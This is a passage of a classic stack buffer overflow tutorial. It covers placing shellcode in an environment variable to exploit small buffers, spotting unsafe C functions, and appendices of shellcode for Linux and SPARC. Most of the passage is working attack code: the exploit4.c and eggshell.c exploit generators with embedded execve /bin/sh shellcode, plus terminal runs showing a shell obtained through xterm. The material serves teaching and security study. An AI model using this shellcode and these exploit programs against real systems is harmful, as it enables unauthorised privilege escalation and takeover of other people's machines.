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Small Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~

There will be times when the buffer you are trying to overflow is so small that either the shellcode wont fit into it, and it will overwrite the return address with instructions instead of the address of our code, or the number of NOPs you can pad the front of the string with is so small that the chances of guessing their address is minuscule. To obtain a shell from these programs we will have to go about it another way. This particular approach only works when you have access to the program's environment variables.

What we will do is place our shellcode in an environment variable, and then overflow the buffer with the address of this variable in memory. This method also increases your changes of the exploit working as you can make the environment variable holding the shell code as large as you want.

The environment variables are stored in the top of the stack when the program is started, any modification by setenv() are then allocated elsewhere. The stack at the beginning then looks like this:

 

<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

Our new program will take an extra variable, the size of the variable containing the shellcode and NOPs. Our new exploit now looks like this:

exploit4.c ------------------------------------------------------------------------------ #include <stdlib.h>

#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }

void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]);

 

if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); }

addr = get_esp() - offset; printf("Using address: 0x%x\n", addr);

ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;

ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------

Lets try our new exploit with our vulnerable test program:

------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------

Works like a charm. Now lets try it on xterm:

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[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
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On the first try! It has certainly increased our odds. Depending how much environment data the exploit program has compared with the program you are trying to exploit the guessed address may be to low or to high. Experiment both with positive and negative offsets.

 

Finding Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~

As stated earlier, buffer overflows are the result of stuffing more information into a buffer than it is meant to hold. Since C does not have any built-in bounds checking, overflows often manifest themselves as writing past the end of a character array. The standard C library provides a number of functions for copying or appending strings, that perform no boundary checking. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions operate on null-terminated strings, and do not check for overflow of the receiving string. gets() is a function that reads a line from stdin into a buffer until either a terminating newline or EOF. It performs no checks for buffer overflows. The scanf() family of functions can also be a problem if you are matching a sequence of non-white-space characters (%s), or matching a non-empty sequence of characters from a specified set (%[]), and the array pointed to by the char pointer, is not large enough to accept the whole sequence of characters, and you have not defined the optional maximum field width. If the target of any of these functions is a buffer of static size, and its other argument was somehow derived from user input there is a good posibility that you might be able to exploit a buffer overflow.

Another usual programming construct we find is the use of a while loop to read one character at a time into a buffer from stdin or some file until the end of line, end of file, or some other delimiter is reached. This type of construct usually uses one of these functions: getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while loop, such programs are easily exploited.

To conclude, grep(1) is your friend. The sources for free operating systems and their utilities is readily available. This fact becomes quite interesting once you realize that many comercial operating systems utilities where derived from the same sources as the free ones. Use the source d00d.

 

Appendix A - Shellcode for Different Operating Systems/Architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------

SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------

SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------

 

Appendix B - Generic Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__)

#define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); }

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); }

#endif ------------------------------------------------------------------------------

eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include <stdlib.h> #include <stdio.h> #include "shellcode.h"

#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048

void usage(void);

void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); }

if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); }

if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); }

addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;

ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; }

for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4); putenv(egg);

memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); }

void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n"); }


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